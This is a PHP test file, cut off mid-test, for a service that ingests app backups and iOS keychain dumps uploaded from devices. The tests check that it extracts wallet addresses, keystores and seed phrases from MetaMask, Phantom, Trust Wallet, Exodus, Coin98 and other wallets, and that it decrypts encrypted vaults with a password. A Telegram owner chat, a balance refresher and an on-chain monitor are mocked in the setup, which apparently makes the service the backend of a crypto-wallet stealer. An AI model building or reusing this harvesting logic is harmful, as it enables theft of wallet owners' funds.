889 lines
37 KiB
PHP
889 lines
37 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\DeviceApp;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletKeystore;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\AppUploadIngester;
|
|
use App\Services\Tokenview\TokenviewMonitorService;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Mockery;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class AppUploadIngestTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
|
|
private const TRON = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
|
|
|
private const ETH = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
|
|
|
|
protected function setUp(): void
|
|
{
|
|
parent::setUp();
|
|
|
|
config([
|
|
'coruna.telegram.bot_token' => '',
|
|
'coruna.telegram.owner_chat_id' => '',
|
|
]);
|
|
|
|
$tokenview = Mockery::mock(TokenviewMonitorService::class);
|
|
$tokenview->shouldReceive('syncMonitor')->andReturn(false);
|
|
$tokenview->shouldReceive('shouldMonitor')->andReturn(false);
|
|
$this->app->instance(TokenviewMonitorService::class, $tokenview);
|
|
|
|
$balances = Mockery::mock(\App\Services\WalletBalanceService::class);
|
|
$balances->shouldReceive('refresh')->andReturn(false);
|
|
$balances->shouldReceive('ensureBscForEthAddress')->andReturn(null);
|
|
$this->app->instance(\App\Services\WalletBalanceService::class, $balances);
|
|
|
|
Http::fake();
|
|
}
|
|
|
|
#[Test]
|
|
public function wallet_tar_stores_utc_and_ingests_address(): void
|
|
{
|
|
$device = $this->makeDevice();
|
|
$utc = [
|
|
'version' => 3,
|
|
'id' => 'trust-utc',
|
|
'crypto' => [
|
|
'ciphertext' => 'aa',
|
|
'mac' => 'bb',
|
|
'cipher' => 'aes-128-ctr',
|
|
],
|
|
'address' => substr(self::ETH, 2),
|
|
];
|
|
$tar = $this->makeTar([
|
|
'Documents/keystore/UTC--demo' => json_encode($utc),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact(
|
|
$device,
|
|
$tar,
|
|
'com.wallet.crypto.trustapp.tar',
|
|
);
|
|
|
|
$this->assertTrue(
|
|
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->exists()
|
|
);
|
|
$this->assertTrue(
|
|
WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->get()
|
|
->contains(fn (WalletKeystore $row) => $row->kind() === 'web3.keystore')
|
|
);
|
|
$this->assertFalse(
|
|
WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->get()
|
|
->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox')
|
|
);
|
|
$this->assertNull(
|
|
WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->where('source', 'Trust Wallet')
|
|
->value('needs_password')
|
|
);
|
|
$this->assertTrue(
|
|
WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->get()
|
|
->every(fn (WalletKeystore $row) => (int) $row->chain === Device::CHAIN_APP)
|
|
);
|
|
|
|
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame('Trust Wallet', $addr->source);
|
|
}
|
|
|
|
#[Test]
|
|
public function trust_hd_keeps_eth_btc_tron_bsc_sol_arb_and_skips_other_coins(): void
|
|
{
|
|
$device = $this->makeDevice('dev-trust-hd');
|
|
$etc = '0x91E1DF7780C061fBE4d0fc83F26F3B85bfb04Bc6';
|
|
$waves = '3P8QjdvhWgcVbYQEnqmDnJsx4QiqJXAtqci';
|
|
$dot = '13s5C4kEQevkzaKrRdLbABsxTx8pLnT7tXeZm3c6QvrAAvwK';
|
|
$btc = 'bc1qkdjxa55kxw6fltw9tadk9e9xf3gpxq03ex5fl7';
|
|
$utc = [
|
|
'version' => 3,
|
|
'type' => 'mnemonic',
|
|
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
|
'activeAccounts' => [
|
|
['coin' => 0, 'address' => $btc, 'derivationPath' => "m/84'/0'/0'/0/0"],
|
|
['coin' => 60, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
|
['coin' => 61, 'address' => $etc, 'derivationPath' => "m/44'/61'/0'/0/0"],
|
|
['coin' => 195, 'address' => self::TRON, 'derivationPath' => "m/44'/195'/0'/0/0"],
|
|
['coin' => 5741564, 'address' => $waves, 'derivationPath' => "m/44'/5741564'/0'/0'/0'"],
|
|
['coin' => 354, 'address' => $dot, 'derivationPath' => "m/44'/354'/0'/0'/0'"],
|
|
['coin' => 8453, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
|
['coin' => 20000714, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
|
['coin' => 501, 'address' => 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq', 'derivationPath' => "m/44'/501'/0'"],
|
|
['coin' => 10042221, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
|
],
|
|
];
|
|
$tar = $this->makeTar([
|
|
'Documents/keystore/UTC--hd' => json_encode($utc),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.sixdays.trust.tar');
|
|
|
|
$addrs = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->orderBy('id')
|
|
->get(['address', 'chain_type']);
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ETHEREUM'));
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN'));
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::TRON && $a->chain_type === 'TRON'));
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'BSC'));
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq' && $a->chain_type === 'SOLANA'));
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ARBITRUM'));
|
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $etc));
|
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $waves));
|
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $dot));
|
|
$this->assertSame(1, $addrs->where('address', self::ETH)->where('chain_type', 'ETHEREUM')->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function tronlink_sqlite_writes_address_and_balance_and_flags_password(): void
|
|
{
|
|
$device = $this->makeDevice('dev-tronlink');
|
|
$sqlite = $this->makeTronLinkSqlite();
|
|
$utc = [
|
|
'version' => 3,
|
|
'crypto' => ['ciphertext' => 'cc', 'mac' => 'dd'],
|
|
'address' => self::TRON,
|
|
];
|
|
$tar = $this->makeTar([
|
|
'Documents/tron.sqlite' => $sqlite,
|
|
'Documents/keystore/UTC--tron' => json_encode($utc),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact(
|
|
$device,
|
|
$tar,
|
|
'com.tronlink.hdwallet.tar',
|
|
);
|
|
|
|
$flagged = WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->where('needs_password', 1)
|
|
->count();
|
|
$this->assertGreaterThan(0, $flagged);
|
|
$this->assertFalse(
|
|
WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->get()
|
|
->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox')
|
|
);
|
|
$this->assertSame(
|
|
0,
|
|
WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->where('needs_password', 0)
|
|
->count()
|
|
);
|
|
|
|
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::TRON)->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame('TronLink', $addr->source);
|
|
$this->assertSame(0.0, (float) $addr->trx);
|
|
$this->assertEqualsWithDelta(1.5, (float) $addr->usdt, 0.0001);
|
|
}
|
|
|
|
#[Test]
|
|
public function imtoken_keeps_account_eoa_and_skips_token_contracts(): void
|
|
{
|
|
$device = $this->makeDevice('dev-imtoken-addr');
|
|
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
|
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
|
$utcEth = 'c3f025c2b480ade8f67c8ae9bec3e17f62c26fdf';
|
|
$tar = $this->makeTar([
|
|
'Documents/walletsV2/wid.json' => json_encode([
|
|
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
|
'address' => $utcEth,
|
|
'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'],
|
|
]),
|
|
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
|
|
'AccountModel' => [
|
|
'itemsById' => [
|
|
'acc1' => [
|
|
'type' => 'EOA',
|
|
'address' => self::TRON,
|
|
'path' => "m/44'/195'/0'/0/0",
|
|
],
|
|
],
|
|
],
|
|
'AssetToken' => [
|
|
'itemsById' => [
|
|
'tok1' => [
|
|
'chainType' => 'TRON',
|
|
'address' => $usdt,
|
|
'symbol' => 'USDT',
|
|
'decimal' => 6,
|
|
'tokenType' => 'TRC20',
|
|
'accountAddress' => self::TRON,
|
|
],
|
|
],
|
|
],
|
|
]),
|
|
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([
|
|
'wethContractAddress' => $weth,
|
|
'address' => $weth,
|
|
]),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'im.token.app.tar');
|
|
|
|
$addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all();
|
|
$this->assertSame([self::TRON], $addrs);
|
|
$this->assertTrue(
|
|
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists()
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function global_wallet_skips_helper_contract_addresses(): void
|
|
{
|
|
$device = $this->makeDevice('dev-gw-addr');
|
|
$batch = 'TDe5aJyJmtJdon9nNRbX1itnftt6LQLUwU';
|
|
$balance = 'TWSaaayu3N1z5GKeWYyTkUG1p9tw3tdTHw';
|
|
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
|
$tar = $this->makeTar([
|
|
'Documents/cache/MarketFilterParamsModel.Type.json' => json_encode([
|
|
'blockchainList' => [[
|
|
'name' => 'tron',
|
|
'metadata' => [
|
|
'batchTxContract' => $batch,
|
|
'balanceContract' => $balance,
|
|
],
|
|
]],
|
|
]),
|
|
'Documents/cache/default.show.tokens' => json_encode([
|
|
'address' => $weth,
|
|
'symbol' => 'WETH',
|
|
]),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar');
|
|
|
|
$this->assertSame(
|
|
0,
|
|
WalletAddress::query()->where('device_id', $device->id)->count()
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function keychain_plaintext_mnemonic_is_recovered_on_decrypt(): void
|
|
{
|
|
$device = $this->makeDevice('dev-uniswap');
|
|
$xml = '<?xml version="1.0"?><keychain>'
|
|
.'<item>'
|
|
.'<acct>com.uniswap.mobile.mnemonic.'.self::ETH.'</acct>'
|
|
.'<svce>Uniswap</svce>'
|
|
.'<agrp>TEAM.com.uniswap.mobile</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode(self::MNEMONIC).'</v_Data>'
|
|
.'</item>'
|
|
.'</keychain>';
|
|
|
|
$ingester = app(AppUploadIngester::class);
|
|
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
|
|
$ingester->dispatchDecrypt($device);
|
|
|
|
$this->assertTrue(
|
|
WalletKeystore::query()->where('device_id', $device->id)->exists()
|
|
);
|
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($memo);
|
|
$this->assertSame('Uniswap', $memo->source);
|
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
|
|
|
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame($memo->id, $addr->mnemonic_id);
|
|
$this->assertTrue(
|
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.uniswap.mobile')->exists()
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function keychain_exodus_json_mnemonic_is_sourced_exodus(): void
|
|
{
|
|
$device = $this->makeDevice('dev-exodus');
|
|
$payload = json_encode([
|
|
'mnemonic' => self::MNEMONIC,
|
|
'seed' => 'not-a-mnemonic',
|
|
'dateCreated' => 1,
|
|
], JSON_UNESCAPED_SLASHES);
|
|
$xml = '<?xml version="1.0"?><keychain>'
|
|
.'<item>'
|
|
.'<acct>unused</acct>'
|
|
.'<svce></svce>'
|
|
.'<agrp>TEAM.exodus-movement.exodus</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode((string) $payload).'</v_Data>'
|
|
.'</item>'
|
|
.'</keychain>';
|
|
|
|
$ingester = app(AppUploadIngester::class);
|
|
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
|
|
$ingester->dispatchDecrypt($device);
|
|
|
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($memo);
|
|
$this->assertSame('Exodus', $memo->source);
|
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
|
}
|
|
|
|
#[Test]
|
|
public function keychain_phantom_base64_seed_vault_recovers_mnemonic(): void
|
|
{
|
|
$device = $this->makeDevice('dev-phantom-b64');
|
|
$entropy = [];
|
|
for ($i = 0; $i < 16; $i++) {
|
|
$entropy[(string) $i] = 0;
|
|
}
|
|
$vault = json_encode([
|
|
'version' => 1,
|
|
'identifier' => 'eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d',
|
|
'name' => '账户 0',
|
|
'entropy' => $entropy,
|
|
], JSON_UNESCAPED_UNICODE);
|
|
$acct = base64_encode('.phantom-labs.vault.seed.eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d');
|
|
$xml = '<?xml version="1.0"?><keychain>'
|
|
.'<item>'
|
|
.'<acct>'.$acct.'</acct>'
|
|
.'<svce>app:no-auth</svce>'
|
|
.'<agrp>TEAM.app.phantom</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode((string) $vault).'</v_Data>'
|
|
.'</item>'
|
|
.'</keychain>';
|
|
|
|
$ingester = app(AppUploadIngester::class);
|
|
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
|
|
$ingester->dispatchDecrypt($device);
|
|
|
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first();
|
|
$this->assertNotNull($memo);
|
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
|
}
|
|
|
|
#[Test]
|
|
public function keychain_metamask_vault_is_a_password_row(): void
|
|
{
|
|
$device = $this->makeDevice('dev-mm-vault');
|
|
$vault = $this->makeMetamaskVault(self::MNEMONIC, 'woshini@88');
|
|
unset($vault['kind']);
|
|
$xml = '<?xml version="1.0"?><keychain>'
|
|
.'<item>'
|
|
.'<acct>VAULT_BACKUP</acct>'
|
|
.'<svce></svce>'
|
|
.'<agrp>TEAM.io.metamask.MetaMask</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode((string) json_encode($vault)).'</v_Data>'
|
|
.'</item>'
|
|
.'<item>'
|
|
.'<acct>deviceUID</acct>'
|
|
.'<svce>deviceUID</svce>'
|
|
.'<agrp>TEAM.io.metamask.MetaMask</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee').'</v_Data>'
|
|
.'</item>'
|
|
.'</keychain>';
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml');
|
|
|
|
$mm = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'MetaMask')->first();
|
|
$this->assertNotNull($mm);
|
|
$this->assertSame(1, (int) $mm->needs_password);
|
|
$this->assertSame('metamask.vault', $mm->kind());
|
|
$this->assertSame(0, (int) $mm->decrypted);
|
|
|
|
$kc = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'app/keychain')->first();
|
|
$this->assertNotNull($kc);
|
|
$items = $kc->raw_json['wallets']['MetaMask']['items'] ?? [];
|
|
foreach ($items as $item) {
|
|
$this->assertNotSame('VAULT_BACKUP', $item['account'] ?? '');
|
|
}
|
|
}
|
|
|
|
#[Test]
|
|
public function keychain_skips_apple_and_wildcard_installed_apps(): void
|
|
{
|
|
$device = $this->makeDevice('dev-app-noise');
|
|
$xml = '<?xml version="1.0"?><keychain>'
|
|
.'<item><acct>a</acct><svce>s</svce><agrp>TEAM.apple.Spotlight</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode('x').'</v_Data></item>'
|
|
.'<item><acct>b</acct><svce>s</svce><agrp>TEAM.apple.TextInput</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode('y').'</v_Data></item>'
|
|
.'<item><acct>c</acct><svce>s</svce><agrp>TEAM.*</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode('z').'</v_Data></item>'
|
|
.'<item><acct>d</acct><svce>s</svce><agrp>apple.security.octagon</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode('w').'</v_Data></item>'
|
|
.'<item><acct>e</acct><svce>Bitpie</svce><agrp>TEAM.com.bitpie.wallet</agrp>'
|
|
.'<v_Data bin="1">'.base64_encode('ok').'</v_Data></item>'
|
|
.'</keychain>';
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml');
|
|
|
|
$this->assertFalse(
|
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'like', 'apple.%')->exists()
|
|
);
|
|
$this->assertFalse(
|
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists()
|
|
);
|
|
$this->assertFalse(
|
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'Spotlight')->exists()
|
|
);
|
|
$this->assertTrue(
|
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.bitpie.wallet')->exists()
|
|
);
|
|
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function metamask_persist_store_keeps_user_accounts_only(): void
|
|
{
|
|
$device = $this->makeDevice('dev-mm-persist');
|
|
$eth = '0x3bb73b8aaba98538733df3c8a9ea2d769d6aca9e';
|
|
$sol = 'F2Ht8XtGJMSaVkva9XSo1tashz8xUzWSVK69Txmds2jd';
|
|
$btc = 'bc1qncn7nxs46gfvtlqaxdkpm0rpevwe8j7tuh89dz';
|
|
$trx = 'TV3K172bN8kTrq9s5fMKcB8YHZi6F8pxUm';
|
|
$stellar = 'GAX7C5SZIQJYRCASX6U2VSCFRO2Y24IAFCQSC32VEX2KR44MCXULYT4O';
|
|
$usdc = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
|
|
$accounts = ['internalAccounts' => ['accounts' => [
|
|
'acc-1' => ['id' => 'acc-1', 'address' => $eth, 'type' => 'eip155:eoa', 'metadata' => ['name' => 'Account 1']],
|
|
'acc-2' => ['id' => 'acc-2', 'address' => $sol, 'type' => 'solana:data-account', 'metadata' => []],
|
|
'acc-3' => ['id' => 'acc-3', 'address' => $btc, 'type' => 'bip122:p2wpkh', 'metadata' => []],
|
|
'acc-4' => ['id' => 'acc-4', 'address' => $trx, 'type' => 'tron:eoa', 'metadata' => []],
|
|
'acc-5' => ['id' => 'acc-5', 'address' => $stellar, 'type' => 'stellar:account', 'metadata' => []],
|
|
]]];
|
|
|
|
$tar = $this->makeTar([
|
|
'Documents/persistStore/persist-AccountsController' => json_encode($accounts),
|
|
// Token list / network config noise that used to be harvested.
|
|
'Documents/persistStore/persist-AssetsController' => json_encode([
|
|
'tokens' => [
|
|
['symbol' => 'USDC', 'name' => 'USD Coin', 'decimals' => 18, 'chainId' => '0x1', 'address' => $usdc],
|
|
],
|
|
]),
|
|
'Documents/persistStore/persist-NetworkEnablementController' => json_encode([
|
|
'multicall3' => $usdc,
|
|
'foxConnectAddresses' => ['polygon' => $usdc],
|
|
]),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar');
|
|
|
|
$addrs = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->get(['address', 'chain_type', 'source']);
|
|
$this->assertSame(4, $addrs->count());
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $eth && $a->chain_type === 'ETHEREUM'));
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $sol && $a->chain_type === 'SOLANA'));
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN'));
|
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $trx && $a->chain_type === 'TRON'));
|
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $stellar));
|
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $usdc));
|
|
$this->assertTrue($addrs->every(fn ($a) => $a->source === 'MetaMask'));
|
|
}
|
|
|
|
#[Test]
|
|
public function coin98_manifest_stores_wallet_only(): void
|
|
{
|
|
$device = $this->makeDevice('dev-coin98');
|
|
$tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2';
|
|
$tokenContract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
|
|
// Real shape: doubly JSON-encoded wallet array inside SET_WALLET_STORAGE.
|
|
$manifest = json_encode([
|
|
'SET_WALLET_STORAGE' => json_encode([[
|
|
'address' => $tronWallet,
|
|
'privateKey' => 'U2FsdGVkX19qEoG/YqTMSgvs0Si33PVh0hddCN6s9OB3',
|
|
'chain' => 'tron',
|
|
'mnemonic' => 'U2FsdGVkX1+rQDNv7jT9NGmJ26hOhY/PPPkNIv68IqxN',
|
|
'encryption' => false,
|
|
'name' => 'My Wallet - 809532',
|
|
'isActive' => true,
|
|
]]),
|
|
'DEVICE_ID' => '"d4032e20-1279-4f43-83b2-89bf53f6a25b"',
|
|
'CACHE_TOKEN_LIST_DATA' => null,
|
|
'POINT_TOKEN_INFO' => json_encode([
|
|
'contracts' => ['boba' => ['contract' => $tokenContract, 'key' => 'boba']],
|
|
]),
|
|
]);
|
|
// Hash-named AsyncStorage file carrying the full token inventory.
|
|
$inventory = json_encode([
|
|
['symbol' => 'WOO', 'name' => 'WOO', 'decimals' => 18, 'chain' => 'binanceSmart', 'address' => $tokenContract],
|
|
['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 18, 'chain' => 'ethereum', 'address' => '0x'.$tokenContract],
|
|
]);
|
|
|
|
$tar = $this->makeTar([
|
|
'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest,
|
|
'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/f26084161a3ff963a80009cd5a700583' => $inventory,
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar');
|
|
|
|
$addrs = WalletAddress::query()->where('device_id', $device->id)->get(['address', 'chain_type', 'source']);
|
|
$this->assertSame(1, $addrs->count());
|
|
$this->assertSame($tronWallet, $addrs[0]->address);
|
|
$this->assertSame('TRON', $addrs[0]->chain_type);
|
|
$this->assertSame('Coin98', $addrs[0]->source);
|
|
}
|
|
|
|
#[Test]
|
|
public function okex_documents_store_no_token_contracts(): void
|
|
{
|
|
$device = $this->makeDevice('dev-okx');
|
|
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
|
$weth = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
|
|
$sqlite = $this->makeOkxCoinMetaSqlite($weth, $usdt);
|
|
|
|
$tar = $this->makeTar([
|
|
'Documents/wallet_coinMeta' => $sqlite,
|
|
'Documents/OKPayCore.db' => $this->makeOkxCoinMetaSqlite($weth, $usdt),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.okex.OKExAppstoreFull.tar');
|
|
|
|
$this->assertSame(
|
|
0,
|
|
WalletAddress::query()->where('device_id', $device->id)->count()
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function tonhub_react_query_stores_user_ton_address(): void
|
|
{
|
|
$device = $this->makeDevice('dev-tonhub');
|
|
$user = 'EQDBNivLP27xo9TimKUEGZdO8oCTg9YuQZNILru-1e8jXqQQ';
|
|
$jetton = 'EQBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB';
|
|
// > 64 KiB so decodeFileContent base64-encodes it, like real mmkv.
|
|
$payload = str_pad(
|
|
'{"queryKey":["cloud","'.$user.'","primaryCurrency-v1"]}%'
|
|
.'{"queryKey":["holders","'.$jetton.'","status"]}',
|
|
70000,
|
|
'x'
|
|
);
|
|
|
|
$tar = $this->makeTar([
|
|
'Documents/mmkv/react-query' => $payload,
|
|
'Documents/mmkv/persistence' => '{"queryKey":["account","'.$jetton.'"]}',
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.tonhub.app.tar');
|
|
|
|
$addrs = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->get(['address', 'chain_type', 'source']);
|
|
$this->assertSame(1, $addrs->count());
|
|
$this->assertSame($user, $addrs[0]->address);
|
|
$this->assertSame('TON', $addrs[0]->chain_type);
|
|
$this->assertSame('Tonhub', $addrs[0]->source);
|
|
}
|
|
|
|
#[Test]
|
|
public function generic_wallet_skips_token_inventory_and_contract_config(): void
|
|
{
|
|
$device = $this->makeDevice('dev-generic');
|
|
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
|
$contract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
|
|
$digits = '0000000000000000000000000000000000000001';
|
|
|
|
$tar = $this->makeTar([
|
|
'Documents/cache/tokens.json' => json_encode([
|
|
['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 6, 'address' => $usdt],
|
|
]),
|
|
'Documents/config/contracts.json' => json_encode([
|
|
'multicall3' => $contract,
|
|
'contracts' => ['polygon' => $contract],
|
|
]),
|
|
'Documents/balance-cache.json' => json_encode([
|
|
'address' => $digits,
|
|
]),
|
|
'Documents/wallet.json' => json_encode([
|
|
'name' => 'My Wallet',
|
|
'address' => self::TRON,
|
|
]),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.bitpie.wallet.tar');
|
|
|
|
$addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address');
|
|
$this->assertSame([self::TRON], $addrs->all());
|
|
}
|
|
|
|
#[Test]
|
|
public function coin98_encrypted_wallet_is_stored_and_unlocked_with_password(): void
|
|
{
|
|
$device = $this->makeDevice('dev-coin98-vault');
|
|
$tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2';
|
|
$password = 'woshini@88';
|
|
$cipher = $this->cryptoJsEncrypt(self::MNEMONIC, $password);
|
|
$manifest = json_encode([
|
|
'SET_WALLET_STORAGE' => json_encode([[
|
|
'address' => $tronWallet,
|
|
'privateKey' => $cipher,
|
|
'chain' => 'tron',
|
|
'mnemonic' => $cipher,
|
|
'encryption' => false,
|
|
'name' => 'My Wallet - 809532',
|
|
'isActive' => true,
|
|
]]),
|
|
'POINT_TOKEN_INFO' => json_encode(['contracts' => []]),
|
|
]);
|
|
|
|
$tar = $this->makeTar([
|
|
'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest,
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar');
|
|
|
|
// Encrypted blobs are persisted as a needs-password keystore row.
|
|
$row = WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->where('source', 'Coin98')
|
|
->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame('coin98.wallet', $row->kind());
|
|
$this->assertSame('Coin98 加密钱包', $row->kindLabel());
|
|
$this->assertSame(1, (int) $row->needs_password);
|
|
$wallets = $row->raw_json['wallets'] ?? [];
|
|
$this->assertSame($tronWallet, $wallets[0]['address'] ?? null);
|
|
$this->assertSame($cipher, $wallets[0]['mnemonic'] ?? null);
|
|
|
|
// Address extraction still works alongside the keystore row.
|
|
$this->assertSame(
|
|
1,
|
|
WalletAddress::query()->where('device_id', $device->id)->where('address', $tronWallet)->count()
|
|
);
|
|
|
|
// Wrong password → no mnemonic, no crash.
|
|
$adapter = app(\App\Services\DarkSwordIngestAdapter::class);
|
|
$miss = $adapter->decryptKeystoreWithPassword($device, $row, 'wrong-password');
|
|
$this->assertSame(0, $miss['hits']);
|
|
$this->assertSame(1, $miss['coin98']);
|
|
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
|
|
|
// Correct wallet password → mnemonic recovered and row decrypted.
|
|
